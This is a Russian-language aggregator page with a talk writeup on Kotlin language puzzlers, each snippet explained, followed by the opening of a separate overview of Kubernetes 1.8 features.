        В свое время Андрей abreslav Бреслав говорил, что Kotlin разрабатывался как удобный и предсказуемый язык. Тогда же прозвучало мнение, что в этом языке вы не найдете паззлеров (коротких кусочков кода, результаты выполнения которых оказываются неожиданными, пугающими или разочаровывающими). Ну что же, Антон antonkeks Кекс поколдовал в IDEA и кое-что все-таки накопал, да еще на наглядных примерах рассказал о своих находках в паре с Филиппом Кексом. Смотрите сами:





        Под катом — подборка таких пазлеров и развернутые комментарии к ним. В основе материала доклад Антона Кекса (Codeborne) и Филиппа Кекса (Creative mobile) на конференции Мобиус 2017 (Санкт-Петербург).

        Начнем с Котлина. Все говорят, что на Яве куча проблем: на острове куча вулканов, там землетрясения. Ее нужно спасать.


        Поэтому на ум приходит другой остров — Котлин.


        Там спокойно, ничего не происходит. Он очень плоский, никаких вулканов. Находится здесь рядом. Поэтому Kotlin — это спаситель Java, особенно для Android-разработчиков — таких, как мы.

        Несколько слов о Котлине


        Что такое Kotlin, здесь более-менее все знают. Потому что какой дурак сегодня пишет под Android без Котлина? Это, мне кажется, уже мазохизм. Он отлично работает. Пару недель назад вышел первый билд Kotlin native. Скоро, может быть, будем и под iOS писать на Котлине.

        Это прагматический язык, open-source, очень прикольный тулинг — он был задизайнен, чтобы хорошо работала IDE. Это камень в огород Apple-овского языка Swift и ему подобных. JetBrains хорошо push-ит Kotlin — специально дизайнит язык под свою IDE.

        Все мы знаем, что Kotlin очень долго разрабатывался. Прошло шесть лет, прежде чем была выпущена версия 1.0. JetBrains очень старались, но, видимо, сделать новый язык не так просто. За прошедшие годы (2010 — 2016) они даже успели поменять логотип на более современный.


        Учитывая, как долго его разрабатывали, язык должен быть превосходный. Это должен быть самый лучший язык в мире, так как многие другие языки девелопились гораздо быстрее. Например, всем известно, что JavaScript был сделан за две недели. Хотя, это, конечно, не rocket science (rocket science — это SpaceX, которые за четыре года научились садиться на платформу на настоящей ракете).

        И самое главное — вы все должны гордиться, потому что Kotlin разрабатывается в Петербурге, и это один из немногих русских языков программирования. Старые русские языки программирования выглядели приблизительно вот так (справа):


        К счастью, этот язык был ориентирован на международную аудиторию, поэтому вместо кейворда «фу» его создатели все-таки решили использовать кейворд fun, над которым все «making fun». Так что это веселый язык.

        Пазлеры


        Что такое пазлеры?

        Это короткие программы, написанные на Котлине, с интересным поведением. А вы будете угадывать, что они печатают. Вы будете голосовать за предложенные варианты ответа, а тот, кто первый поднимет руку и не только угадает правильный вариант, но и объяснит, почему так происходит, получит приз.

        Первая половина пазлеров ориентирована на тех, кто не очень хорошо знаком с Kotlin; вторая половина — для хардкорных Kotlin-разработчиков.

        Kotlin известен тем, что не повторяет некоторые известные пазлеры Java. Однако в идеальном языке программирования не должно быть пазлеров вообще. Получается, что и Kotlin не идеален — не бывает идеальных языков.

        Но Kotlin уже взлетел во многих мобильных приложениях. Этот язык создавался как прагматичный и удобный во многих кейсах. Он удобен в том числе с точки зрения юзабилити. И он все еще развивается. С разработчиками Котлина можно беседовать и пытаться договориться, как и чего исправить.

        Все демонстрируемые пазлеры запускаются с Kotlin 1.1.1 — с последней стабильной версией. Исходные коды пазлеров находятся на GitHub — потом их можно посмотреть: https://github.com/angryziber/kotlin-puzzlers/tree/mobius.
        У кого появятся идеи новых пазлеров, присылайте pull-реквесты. Ждем.

        Пазлер 1


        Котлин хорош тем, что он поддерживает nullability, точнее, он null safe — можно так сказать.

        package p1_nullean
        
        val s: String? = null
        if (s?.isEmpty()) println("true")
        

        У него есть различия между nullable и не nullable типами. Это значит, если мы хотим присвоить куда-то null, это должен быть nullable-тип (с вопросиком). Вероятно, эту идею предложил C#, но он ее не доделал — там только примитивы могут быть nullable. А в Котлине это уже сделано нормально для всех типов. В принципе, язык рассчитан на то, чтобы никогда вы не получали страшных NullPointerException в рантайме.

        В данном примере Котлин перенял из Groovy отличный null-safe оператор s?, который позволяет на нуле вызвать какой-то метод и не схлопотать сразу в рантайме какие-то эксепшены.

        Давайте посмотрим, какой из возможных вариантов мы сейчас получим:

        • nothing
        • true
        • NullPointerException
        • Will not compile

        Запускаем. Смотрим.



        Не скомпилировалось.

        Почему?

        Котлин — type safe язык, поэтому результат выражения s?.isEmpty() — null, поэтому он не кастится в false.

        Исправить легко (надо написать так, чтобы Котлин вел себя так же, как Groovy):

        if (s?.isEmpty() ?: false) println("true")
        

        Это не очень красиво, но сейчас так. В котлиновский трекер уже засабмичено предложение все-таки интерпретировать null как false, но там есть свои нюансы. Еще неизвестно, получим мы эту фичу когда-нибудь или нет. Есть разные мнения, но с точки зрения удобства использования языка это небольшой косяк.

        Пазлер 2


        Пазлер очень похожий: у нас та же переменная nullable string и мы на нем пытаемся вызвать метод.

        package p2_nulleanExtended
        val x: String? = null
        print(x.isNullOrEmpty())
        

        Какой будет результат?

        • true
        • false
        • NullPointerException
        • не скомпилируется

        Запускаем…
        Ответ: true.



        Почему? Это extension-функция из стандартной библиотеки Kotlin, которая «повешена» на nullable CharSequence. Поэтому в подобном кейсе она обрабатывается нормально.



        Действительно, в Котлине можно некоторые функции запускать на null. Компилятор про это знает и позволяет это делать.

        Если бы мы поставили знак вопроса, IDEA бы нам сказала, что он тут не нужен.

        print(x?.isNullOrEmpty())
        

        Хорошо, что функция названа по-человечески (о результате можно догадаться по названию).

        Если запустить во втором варианте (со знаком вопроса), результат будет null, потому что выражение в скобках теперь приводится в null, и тогда эта функция не вызывается, несмотря на то, что она поддерживает null. Это, кстати, еще один пазлер.

        Пазлер 3


        package p3_platformNulls
        
        class Kotlin {
            fun hello(name: String) = print("Hello $name")
        }
        
        fun main(args: Array) {
            val prop = System.getProperty("key")
            Kotlin().hello(prop)
        }
        

        В Котлине есть такая интересная фича — третий стейт nullability. Посмотрим, что будет, если мы вызовем:

        val prop = System.getProperty("key")
        

        и передадим это в метод hello у класса Kotlin, который должен его распечатать:

        Kotlin().hello(prop)
        

        Что получится на выходе?

        • hello
        • hello null
        • не скомпилируется
        • ни один из приведенных вариантов

        Вообще type inference — отличная тема.

        Запускаем. Получаем IllegalStateExeption.



        Почему?

        Значение prop будет null, тип — String!.. Он идет в hello, и в рантайме будет проверка, что должен быть не null, а он null.

        На самом деле в начальной версии Котлина действительно сделали, что когда из Java приходит String, он всегда по умолчанию nullable.

        val prop: String? = System.getProperty("key")
        


        Это привело к тому, что стало очень неудобно писать код, когда идет интероп с Java. И решили сделать виртуальный тип String! (с восклицательным знаком). Это как раз третий вариант nullability — называется «я не знаю».

        val prop: String! = System.getProperty("key")
        

        Однако такой код не компилируется, поскольку тип String! нельзя объявить самостоятельно. Он может прийти только из Java.

        Поэтому такие штуки лучше заранее объявлять как nullable или не nullable (как правило, вы из API знаете, может там null когда-нибудь прийти или нет).

        А вот такой код скомпилируется, но может упасть в рантайме:

        val prop: String = System.getProperty("key")
        

        IDEA всегда знает, где какой тип. Можно нажать на переменной Ctrl+q и выяснить.
        Но закончим с nullability, перейдем к другой теме.

        Пазлер 4


        У нас есть 2 функции, которые должны печатать. Мы их объявляем и запускаем — должно быть все просто:

        package p4_kotlinVsScala
        
        fun main1() = print("Hello")
        
        fun main2() = {
            print("Hello2")
        }
        
        main1()
        main2()
        

        Что будет на выходе?

        • Hello
        • Hello2
        • HelloHello2
        • не скомпилируется

        Запускаем… Получаем Hello.



        Почему?

        Main1 вернет юнит, но при этом вызовет print(«Hello»). А main2 всего лишь вернет лямбду, которая не будет выполняться.

        Исправить можно так:

        main2()()
        

        Второй, на мой взгляд, лучший вариант исправления — убрать знак равно у main2, поскольку он всех только смущает:

        fun main2() {
        print("Hello 2")
        }
        

        Почему я назвал этот пример Котлин vs Scala? Те, кто писал на Scala, знают, что там этот код — абсолютно валидное объявление функции, которая что-то возвращает:

        fun main2() = { }
        

        Бедные Scala-девелоперы, которые будут писать на Котлине. Они, наверное, постоянно будут возвращать лямбды без запуска.

        Пазлер 5


        У нас есть list из цифр, мы его перебираем методом forEach. ForEach, как и в Groovy, если параметр лямбда не объявлен, знает it. И мы проверяем, что он не больше 2, и печатаем.

        package p5_sneakyReturn
        
        fun main(args: Array) {
            listOf(1, 2, 3).forEach {
                if (it > 2) return
                print(it)
            }
            print("ok")
        }
        

        Какой будет итог?

        • 123ok
        • 12ok
        • 12
        • бесконечный цикл

        Запускаем…



        12
        Что за ерунда?

        В Котлине return возвращает из функции. А чтобы выйти из конкретной лямбды, внутри этой функции нужно после return указать название лямбды:

        if (it > 2) return@forEach
        

        Так можно выйти из лямбды. Если вы пишите на Java и вам очень нужно выйти из лямбды, это вариант исправления кода.

        На самом деле return в Котлине работает так, как он должен работать. Если бы мы до этого не писали бы на C# и Java, наверное, и не ошиблись бы, потому что return возвращается из функции main. Все логично. И нет никаких странных фич с лямбдами, из которых тоже почему-то нужно выйти.

        Почему это так работает?



        Функция forEach объявлена как inline функция. В Kotlin компилятор не вызывает эту функцию в скомпилированном коде, а берет код этой функции и вставляет на то место, где был call. В результате здесь получается обычный for-цикл и, естественно, тогда return выходит из функции main.

        Как понять, что это Inline функция? Во-первых, в IDEA есть Ctrl+p. А во-вторых, если вызвать return, а функция окажется не inline, то компилятор скажет: «Извини, нельзя это делать». То есть компилятор не позволит нам сделать какую-то ерунду.

        Есть еще один вариант, как можно исправить этот код, чтобы он возвращал «12ok». Нужно это объявить как функцию, а не лямбду.

        fun main(args: Array) {
            listOf(1, 2, 3).forEach(fun() {
                if (it > 2) return
                print(it)
            })
            print("ok")
        }
        

        Единственное отличие в Котлине анонимной функции и лямбды в том, что первая ведет себя именно как функция, а значит — return будет возвращать из ближайшего «веселья» (fun). Поэтому с таким исправлением оно будет работать как надо.

        Чтобы было еще интереснее, я подготовил несколько примеров. В Котлине бывают разные кейворды:

        • fun
        • inline fun
        • inline fun с лямбдой noinline
        • inline fun с лямбдой crossinline

        Некоторые из них позволяют использовать return, а некоторые — нет.

        package p5_sneakyReturn
        
        fun hello(block: () -> Unit) = block()
        
        inline fun helloInline(block: () -> Unit) = block()
        
        inline fun helloNoInline(noinline block: () -> Unit) = hello(block)
        
        inline fun helloCrossInline(crossinline block: () -> Unit) = runnable { block() }.run()
        
        fun main(args: Array) {
            hello {
                println("hello")
                //return - impossible
            }
        
            hello(fun() {
                println("hello")
                return
            })
        
            helloInline {
                println("hello")
                return
            }
        
            helloNoInline {
                println("hello")
                //return - impossible
            }
        
            helloCrossInline {
                println("hello")
                //return - impossible
            }
        
        

        Домашним заданием оставляем пожелание разобраться, что такое Crossinline. Думаю, вам это будет интересно.

        Когда я только начал писать на Котлине, я тоже подумал, что это нечто сложное. Но когда ты понимаешь, что такое inline-функция (почти все extension-функции для коллекции — Inline для performance), все становится очень логичным.

        Пазлер 6


        Нам нужно получить John или Jaan.

        У нас есть простой класс Person. В Котлине очень удобно: можно при декларации класса сразу продекларировать конструктор. Мы получаем переменную конструктора name, забиваем ее в property. В Котлине нет field — есть только property, что очень круто, так как не нужно писать геттер, сеттеры и всякую ерунду (или геты и сеты, как в C#). Отличный красивый синтаксис.

        В итоге мы создаем Person с именем John и смотрим, превратится ли он у нас в эстонскую локализацию Jaan:

        package p6_getMeJohn
        
        class Person(name: String) {
            var name = name
                get() = if (name == "John") "Jaan" else name
        }
        
        println(Person("John").name)
        

        • John
        • Jaan
        • не скомпилируется
        • ни один из вариантов

        Запускаем…



        Это stack overflow.
        Почему?
        Мы берем name, делаем ему if-else и вызываем его же по get. Чтобы исправить, нужно обратиться к полю, а не к property. Можно использовать кейворд field:

        class Person(name: String) {
            var name = name
                get() = if (field == "John") "Jaan" else field
        }
        

        По кейворду field в Котлине можно обратиться к полю, но единственное место, где это можно сделать, — внутри геттера / сеттера. Все остальные обращения идут только через property — напрямую к field не обращаются.

        Говорят, что по перформансу все это круто, потому что Java Hotspot компилятор это хорошо оптимизирует, в отличие от виртуальных машин .NET, и все работает очень быстро.

        Пазлер 7


        Снова смотрим на офигенную фичу языка — type inference — нас не волнует, какого типа whatAmI, мы его можем все равно использовать. Но компилятор знает, что это такое. Посмотрим, знаем ли мы.

        package p7_whatAmI
        
        val whatAmI = {}()
        println(whatAmI)
        

        Какой вариант будет в итоге?

        • kotlin.jvm.functions.Function0
        • () -> kotlin.Unit
        • kotlin.Unit
        • ничего

        Запускаем… Получаем kotlin.Unit.



        Почему?

        Здесь объявляется лямбда, потом происходит вызов лямбды. Так как лямбда ничего не возвращает (точнее, возвращает kotlin.Unit), именно это и выводится. А самое лучшее определение unit — это void.

        Откуда вообще пришел Unit? По-моему, даже в математике (или в computer science) есть такое понятие как теория типов. И там описано, что Unit — это один элемент, который означает «ничего». Поэтому некоторые более академические языки программирования используют термин Unit. Котлин был задизайнен как прагматичный язык, но, тем не менее, его разработчики решили выбрать не прагматичный void, а придумали сделать Unit.

        Чтобы вам было еще интереснее, в Котлине есть еще один тип: kotlin.Nothing.
        Чем они отличаются? Пусть ответ на этот вопрос будет вам домашним заданием.

        Пазлер 8


        Мы посмотрели whatAmI, а теперь у нас будет iAmThis.

        Здесь все немного усложняется: у нас есть класс IAm, он — data class (это офигенная фича в Kotlin, которая за нас автоматически генерирует equal, hashCode, toString и весь этот boiler plate, который мы все так ненавидим писать на Java). В Scala это case class — там название для этого хуже, хотя на самом деле все используют его именно как data class.

        У класса IAm есть конструктор, в котором объявляем поле foo. Foo одновременно является property, поэтому его можно использовать с функцией hello().

        Мы передаем туда String «bar», вызываем функцию hello и смотрим, что она нам возвращает.

        package p8_iAmThis
        
        data class IAm(var foo: String) {
            fun hello() = foo.apply {
                return this
            }
        }
        
        println(IAm("bar").hello())
        

        Что получим на выходе?

        • IAm
        • IAm(foo=bar)
        • bar
        • не скомпилируется

        Запускаем… Получаем bar



        Почему?

        Apply — хитрая extension-функция. Она принимает лямбду и позволяет внутри нее с объектом, на котором она вызвана, выполнять какие-то действия по this. Соответственно, this — это bar. И Hello — это bar.

        В этом Kotlin похож на JavaScript. Как в JavaScript, в Kotlin можно достичь того состояния, когда вы уже не знаете, что такое this.

        Вообще там есть много полезных функций: also, let, with.



        В принципе, они все отличаются достаточно мало.

        К примеру, apply — это extension-функция на абсолютно любой тип (не nullable). Она принимает лямбду, а лямбда эта очень хитрая, потому что она апплаится к внутреннему T, а не к внешнему объекту (внутри этой лямбды свой Т). Т.е. функция вызывает эту лямбду со своим this и возвращает this (это иногда тоже полезно).

        Есть и другие функции. Код можно исправить следующим образом:

        package p8_iAmThis
        
        data class IAm(var foo: String) {
            fun hello() = foo.let {
                return it
            }
        }
        
        println(IAm("bar").hello())
        

        Тогда это, может быть, станет менее непонятно.

        Для некоторых кейсов Apply — очень полезная функция. Но если вы очень быстро смотрите на код (и при этом используется первый вариант записи), можно запутаться.

        В первом варианте можно сократить код так (функция apply и сама возвращает this, поэтому ничего не меняется):

        data class IAm(var foo: String) {
            fun hello() = foo.apply {
            }
        }
        

        Пазлер 9


        Посмотрим на уже известную нам функцию let.

        Этот пазлер прислал Kevin Most из Канады. У него есть простая функция, которая печатает знак аргумента (Int).

        package p9_weirdChaining
        // by Kevin Most @kevinmost
        
        fun printNumberSign(num; Int) {
            if (num < 0) {
                "negative"
            }  else if (num > 0) {
                "positive"
            } else {
                "zero"
            }.let { println(it) }
        }
        printNumberSign(-2)
        printNumberSign(0)
        printNumberSign(2)
        

        Что такой код будет печатать?

        • negative; zero; positive
        • negative; zero
        • negative; positive
        • zero; positive

        Запускаем… На выходе — zero; positive.



        В чем же дело?

        If — это на самом деле выражение. То есть получается два выражения, и let применяется только ко второму.

        Я много писал на Kotlin, но этот пазлер сам не решил. Это какая-то адская тема. На предыдущей конференции JPoint мы даже думали, что это баг в компиляторе. Но я спросил у Андрея Бреслава, и выяснилось, что это просто нюанс парсера.

        Как исправить? Легко — достаточно поставить скобки:

        fun printNumberSign(num; Int) {
            (if (num < 0) {
                "negative"
            }  else if (num > 0) {
                "positive"
            } else {
                "zero"
            }).let { println(it) }
        }
        

        Тогда let применяется к результату всего выражения. А в первом случае код срабатывал так:

        fun printNumberSign(num; Int) {
            if (num < 0) {
                "negative"
            }  else (if (num > 0) {
                "positive"
            } else {
                "zero"
            }).let { println(it) }
        }
        

        При этом верхний expression идет отдельно — к нему функция let не применяется.
        Оператора elseif в Котлине нет (если бы он был, тогда бы этого пазлера бы и не было).

        Как и во всех пазлерах, мораль такова: не пишите такой код. Если хотите сделать что-то сложное (как здесь), обязательно поставьте скобки или положите это в переменную и потом вызовите let.

        Пазлер 10


        Еще более интересный пазлер. Тут много кода.

        Этот пазлер засабмиттил Даниил Водопьян. Это пазлер на очень классную фичу в Kotlin — delegate properties. В Котлине мы можем объявить, например, что в классе есть несколько properties, и они имплементируются не как field, а как лукапы из map.

        У нас есть класс Population — население. А cities нам передает (var cities: Map) и мы делегируем их в этот map.

        Это фактически позволяет превратить Kotlin в JavaScript и делать более динамические структуры, не копировать данные туда-сюда. Такие классы сокращают очень много кода.

        Потом мы создаем инстанс класса Population и передаем ему для всех городов население.

        Теперь представим, что прошло много лет. Люди загадили Землю — улетели жить на Марс. Поэтому мы сбрасываем map с населением.

        Здесь есть функция with, которую мы смотрели до этого. Она берет population и ресолвит относительно него имеющиеся field-ы (в принципе, точно также, как и apply).

        package p10_mappedDelegates
        // by Daniil Vodopian @voddan
        
        class Population(var cities: Map) {
            val tallinn by cities
            val kronstadt by cities
            val st_petersburg by cities
        }
        
        val population = Population(mapOf(
            "st_petersburg" to 5_281_579,
            "tallinn" to 407_947,
            "kronstadt" to 43_005
        ))
        
        // Many years have passed, now all humans live on Mars 
        population.cities = emptyMap()
        
        with(population) {
            println("$tallinn; $kronstadt; $st_petersburg")
        }
        

        Все легко. Осталось только понять, что станет с нашей Землей, когда все улетят на Марс. Что такой код выдаст?

        • 0; 0; 0
        • 407947; 43005; 5281579
        • NullPointerException
        • NoSuchElementException

        Запускаем… Оказывается, люди никуда не исчезли (на Марсе жить очень сложно, поэтому мы, скорее всего, останемся на Земле).



        Почему?

        Неверно сказать, что population.cities = emptyMap() сделает пустую map у класса, но не у его экземпляра. Если мы изменим код так (сделаем MutableMap и обнулим Кронштадт — population.kronstadt = 0):

        class Population(var cities: MutableMap) {
            val tallinn by cities
            var kronstadt by cities
            val st_petersburg by cities
        }
        
        val population = Population(mutablemapOf(
            "st_petersburg" to 5_281_579,
            "tallinn" to 407_947,
            "kronstadt" to 43_005
        ))
        
        // Many years have passed, now all humans live on Mars 
        population.kronstadt = 0
        
        

        Код выведет: 407947; 0; 5281579

        Но обсуждаем мы все-таки первый вариант (c population.cities = emptyMap()).

        Когда мы исполняем delegate, ссылка на map запоминается внутри геттера (для каждого из них). И если мы меняем ссылку на cities, это уже не меняет ссылки внутри геттеров. Но мы можем даже в cities положить в map другое, и все будет работать, поскольку это все равно остается ссылка на тот же самый map. Но если мы меняем референс на другой map, то он перестает действовать.

        Пазлер 11


        У нас в Эстонии есть отличная поговорка: «У хорошего ребенка есть много имен».

        Посмотрим, как это здесь относится к нашим классам.

        В Котлине есть такой странный нюанс: классы по умолчанию final — их нельзя проэкстендить. Есть кейворд open, который все-таки позволяет их экстендить.

        В этом пазлере в классе C у нас есть open-метод (тоже, чтобы мы могли его заоверрайдить). Здесь мы берем x и y (у них есть дефолтные значения — это очень классная фича в языке).

        У нас есть класс D, который экстендит класс C и оверрайдит функцию sum, но в принципе ничего полезного не делает, кроме того, что вызывает супер-имплементацию.

        Дальше у нас есть переменная d — мы создаем инстанс класса D; у нас есть переменная c и туда мы присваиваем тот же самый инстанс (получаем 2 референса на один и тот же инстанс класса D). И мы вызываем один и тот же метод по сути на одном и том же объекте.

        package p11_goodChildHasManyNames
        
        open class C {
          open fun sum(x: Int = 1, y: Int = 2): Int = x + y
        }
        
        class D : C() {
          override fun sum(y: Int, x: Int): Int = super.sum(x, y)
        }
        
        val d: D = D()
        val c: C = d
        print(c.sum(x = 0))
        print(d.sum(x = 0))
        println()
        

        Что получим в итоге?

        • 22
        • 11
        • 21
        • не скомпилируется

        Запускаем… Правильный ответ — 21.



        Здесь еще есть некоторые warning-и, которые помогают понять, что происходит.

        В обоих случая вызывается переопределенная функция, потому что полиморфизм. В рантайме выбирается, какая функция вызывается, потому что в реальности и c, и d — это инстанс класса D. Но так как у JVM нет такой фичи, как именные параметры, их ресолвит компилятор от compile-time. Т.е. получается, что функция выбирается и вызывается в рантайме, а параметры выбираются в compile-time. Поэтому какие параметры он подставляет, зависит от типа переменной, а не объекта, получающегося в рантайме. Это косяк. Warning-и предупреждают, что не следует путать свои названия — когда вы оверрайдите функцию, ее надо назвать иначе.

        Хорошая новость в том, что примерно для половины представленных пазлеров в IDEA уже есть warning. Благодаря тому, что JetBrains сами занимаются еще и инструментами, они достаточно хорошо помогают избегать многих ошибок. Но не всех. Для некоторых из пазлеров warning сделать попросту невозможно.

        Однако язык развивается. В 2016 году, когда я только начал на нем писать, было гораздо меньше инспекций в IDEA и гораздо проще было эти пазлеры самому схлопотать. Сейчас ситуация совсем другая: вышла версия 1.1, было много патч-релизов, много инспекций добавлено в IDEA, и на Котлине писать правильно теперь очень легко.

        Вместо заключения хочу сказать: переходите на Kotlin.

        • Под Android до сих пор нет нормальной Java 8, а в Котлине вы получаете все фичи Java 8 и даже еще больше. Можно гораздо лучше себя выражать.
        • Котлин — язык без большого хайпа. Это тоже его плюс.
        • Его часто называют «Swift» для Android. Но со Swift есть небольшая проблема — когда выходит новая версия, приходится постоянно переписывать весь код. С Котлиным такой проблемы нет — нам обещают обратную совместимость, как и source-level, так и binary-level.
        • Kotlin компилируется гораздо быстрее, чем Scala. Он гораздо проще Scala.
        • Он гораздо быстрее в рантайме, чем Groovy. Если вы добавляете свое приложение на Android, то размер по-моему увеличивается всего на 600 Кб по сравнению с Java — и это очень мало по сравнению со Scala. Поэтому есть смысл на нем писать.
        • Когда я на него перешел, я начал быть продуктивным уже с первого дня.
        • Про Kotlin говорят, что это «более хороший Groovy», там есть хорошие фичи.
        • И ваш самый главный друг в IDEA — это Ctrl+Alt+Shift+K, который сконвертирует любой класс Java сразу в Kotlin (as is). При этом нет Ctrl+Alt+Shift+J, поэтому вы не можете уже вернуться — это дорога в один конец. Да вы и не захотите возвращаться.
        • Также переходит Gradle.

        Присылайте нам новые пазлеры, чтобы мы могли повеселиться на следующих конференциях.



        Если любите нутрянку программирования так же, как и мы, и хотите основательнее погрузиться в Kotlin, рекомендуем обратить внимание вот на эти доклады, которые будут на грядущей конференции Mobius 2017 Moscow:
        Original source: habrahabr.ru (comments, light).

        https://habrahabr.ru/post/338924/


        Метки:  

        Kubernetes 1.8: обзор основных новшеств

        Пятница, 29 Сентября 2017 г. 08:02 + в цитатник
        distol сегодня в 08:02 Администрирование

        Kubernetes 1.8: обзор основных новшеств



          Большое и хорошо организованное Open Source-сообщество, стоящее за разработкой Kubernetes, приучило нас ждать значимых и многочисленных изменений от каждого релиза. И Kubernetes 1.8 не стал исключением, представив на радость DevOps-инженерам и всем сочувствующимучастникам улучшения и новые возможности практически во всех своих компонентах.

          Официальный релиз Kubernetes 1.8 был запланирован ещё на минувшую среду, однако официальные анонсы (в блоге проекта и CNCF) пока не состоялись. Тем не менее, сегодня в 3:35 ночи по MSK в Git-репозитории проекта было замечено изменение в CHANGELOG, которое сигнализирует о готовности Kubernetes 1.8 для скачивания и использования:



          Итак, что же нового принёс релиз Kubernetes 1.8?

          Сеть


          В kube-proxy добавлена альфа-версия поддержки режима IPVS для балансировки нагрузки (вместо iptables). В этом режиме kube-proxy следит за сервисами и endpoints в Kubernetes, создавая netlink-интерфейс (virtual server и real server соответственно). Кроме того, он периодически синхронизирует их, поддерживая консистентность состояния IPVS. При запросе на доступ к сервису трафик перенаправляется на один из подов бэкенда. При этом IPVS предлагает различные алгоритмы для балансировки нагрузки (round-robin, least connection, destination hashing, source hashing, shortest expected delay, never queue). Такую возможность часто запрашивали в тикетах Kubernetes, и мы сами тоже очень её ждали.

          Среди других сетевых новшеств — бета-версии поддержки политик для исходящего трафика EgressRules в NetworkPolicy API, а также возможность (в том же NetworkPolicy) применения правил по CIDR источника/получателя (через ipBlockRule).

          Планировщик


          Главное новшество в планировщике — возможность задавать подам приоритеты (в спецификации пода, PodSpec, пользователи определяют поле PriorityClassName, а Kubernetes на его основе выставляет Priority). Цель банальна: улучшить распределение ресурсов в случаях, когда их не хватает, а требуется одновременно выполнить по-настоящему критичные задачи и менее срочные/важные. Теперь поды с высоким приоритетом будут получать больший шанс на исполнение. Кроме того, при освобождении ресурсов в кластере (preemption) поды с меньшим приоритетом будут затронуты скорее подов с высоким приоритетом. В частности, для этого в kubelet была изменена стратегия по выборке подов (eviction strategy), в которой теперь учитываются одновременно и приоритет пода, и потребление им ресурсов. Реализация всех этих возможностей имеет статус альфа-версии. Приоритеты Kubernetes и работа с ними подробно описаны в документации по архитектуре.

          Ещё одно интересное новшество, представленное в альфа-версии, — более сложный механизм обработки поля условий (Condition, см. документацию) на узлах. Традиционно в этом поле фиксируются проблемные состояния узла — например, при отсутствии сети условие NetworkUnavailable ставится в True, в результате чего поды перестанут назначаться на этот узел. С помощью нового подхода Taints Node by Condition такая же ситуация приведёт к пометке узла определённым статусом (например, node.kubernetes.io/networkUnavailable=:NoSchedule), на основе которого (в спецификации пода) можно решить, что делать дальше (действительно ли не назначать под такому проблемному узлу).

          Хранилища


          Указание опций монтирования для томов стало стабильным, а одновременно с этим:

          • в спецификации PersistentVolume появилось новое поле MountOptions для указания опций монтирования (вместо annotations);
          • в спецификации StorageClass появилось аналогичное поле MountOptions для динамически создаваемых томов.

          В API метрики Kubernetes добавлена информация о доступном пространстве в постоянных томах (PV), а также метрики успешности выполнения и времени задержки для всех вызовов mount/unmount/attach/detach/provision/delete.

          В спецификации PersistentVolume для Azure File, CephFS, iSCSI, GlusterFS теперь можно ссылаться на ресурсы в пространствах имён.

          Среди нестабильных нововведений (в статусах альфа и бета):

          • в StorageClass добавлена бета-версия поддержки определения reclaim policy (аналогично PersistentVolume) вместо применения политики delete всегда по умолчанию;
          • в Kubernetes API добавлена возможность увеличения размера тома — альфа-версия этой фичи увеличивает размер только для тома (не делает resize для файловой системы) и поддерживает только Gluster;
          • началась работа над изоляцией/ограничениями для хранилищ данных — в статусе альфа представлен новый ресурс ephemeral-storage, который включает в себя всё дисковое пространство, доступное контейнеру, и позволяет устанавливать ограничения на возможный объём (quota management) и запросы к нему (limitrange) — подробнее см. в текущей документации;
          • новое поле VolumeMount.Propagation для VolumeMount в контейнерах пода (альфа-версия) позволяет устанавливать значение Bidirectional для возможности использования того же примонтированного каталога на хосте и в других контейнерах;
          • доступен ранний прототип создания снимков томов (volume snapshots) через Kubernetes API — пока эти снапшоты могут быть неконсистентными, и ответственный за них код вынесен из ядра Kubernetes во внешний репозиторий.

          kubelet


          В kubelet появилась альфа-версия нового компонента — CPU Manager, — взаимодействующего напрямую с kuberuntime и позволяющего назначать контейнерам подов выделенные ядра процессоров (т.е. CPU affinity policies на уровне контейнеров). Как уточняется в документации, его появление стало ответом на две проблемы:

          1. плохая или непредсказуемая производительность по сравнению с виртуальными машинами (из-за большого количества переключений контекста и недостаточно эффективного использования кэша),
          2. недопустимые задержки, относящиеся к планировщику процессов ОС, что особенно заметно в функциях виртуальных сетевых интерфейсов.

          Динамическая конфигурация kubelet — ещё одна фича в альфа-статусе, позволяющая обновлять конфигурацию этого агента во всех узлах «живого» кластера. Доведение её до стабильного состояния (GA) ожидается только в релизе 1.10.

          Метрики


          Поддержка пользовательских метрик в Horizontal Pod Autoscaler (HPA) получила статус бета-версии, и связанные с ней API переведены на v1beta1.

          metrics-server стал рекомендованным способом предоставления API для метрик ресурсов. Деплоится как дополнение по аналогии с Heapster. Прямое получение метрик из Heapster объявлено устаревшим.

          Cluster Autoscaler


          Утилита Cluster Autoscaler, созданная для автоматического изменения размера кластера Kubernetes (когда есть поды, которые не запускаются из-за недостатка ресурсов, или некоторые узлы плохо используются долгое время), получила стабильный статус (GA) и поддержку до 1000 узлов.

          Кроме того, при удалении узлов Cluster Autoscaler теперь даёт подам по 10 минут для корректного завершения работы (graceful termination). В случае, если под так и не остановлен за это время, узел всё равно удаляется. Раньше этот лимит составлял 1 минуту или корректного завершения не дожидались вообще.

          kubeadm и kops


          В kubeadm появилась альфа-реализация деплоя кластера (control plane) типа self-hosted (kubeadm init с флагом --feature-gates=SelfHosting=true). Сертификаты при этом могут храниться на диске (hostPath) или в секретах. А новая подкоманда kubeadm upgrade (находится в бета-статусе) позволяет автоматически выполнять обновление кластера self-hosted, созданного с помощью kubeadm.

          Другая новая возможность kubeadm в статусе альфа — выполнение подзадач вместо всего цикла kubeadm init с помощью подкоманды phase (на текущий момент доступна как kubeadm alpha phase и будет приведена в официальный вид в следующем релизе Kubernetes). Основное предназначение — возможность лучшей интеграции kubeadm с provisioning-утилитами вроде kops и GKE.

          В kops, тем временем, представлены две новые фичи в статусе альфа: поддержка bare metal-машин в качестве целевых и возможность запуска как сервера (см. Kops HTTP API Server). Наконец, поддержку GCE в kops «повысили» до статуса бета-версии.

          CLI


          Консольная утилита kubectl получила экспериментальную (альфа-версия) поддержку дополнений. Это означает, что стандартный набор входящих в неё команд теперь можно расширять с помощью плагинов.

          Команды rollout и rollback в kubectl теперь поддерживают StatefulSet.

          API


          Изменения в API включают в себя APIListChunking — новый подход к выдаче ответов на запросы LIST. Теперь они разбиваются на небольшие куски и выдаются клиенту в соответствии с указанным им лимитом. В результате, сервер потребляет меньше памяти и CPU при выдаче очень больших списков, и такое поведение станет стандартным для всех инфомеров в Kubernetes 1.9.

          CustomResourceDefinition API научился валидировать объекты, основываясь на JSON-схеме (из CRD-спецификации) — альфа-реализация доступна как CustomResourceValidation в kube-apiserver.

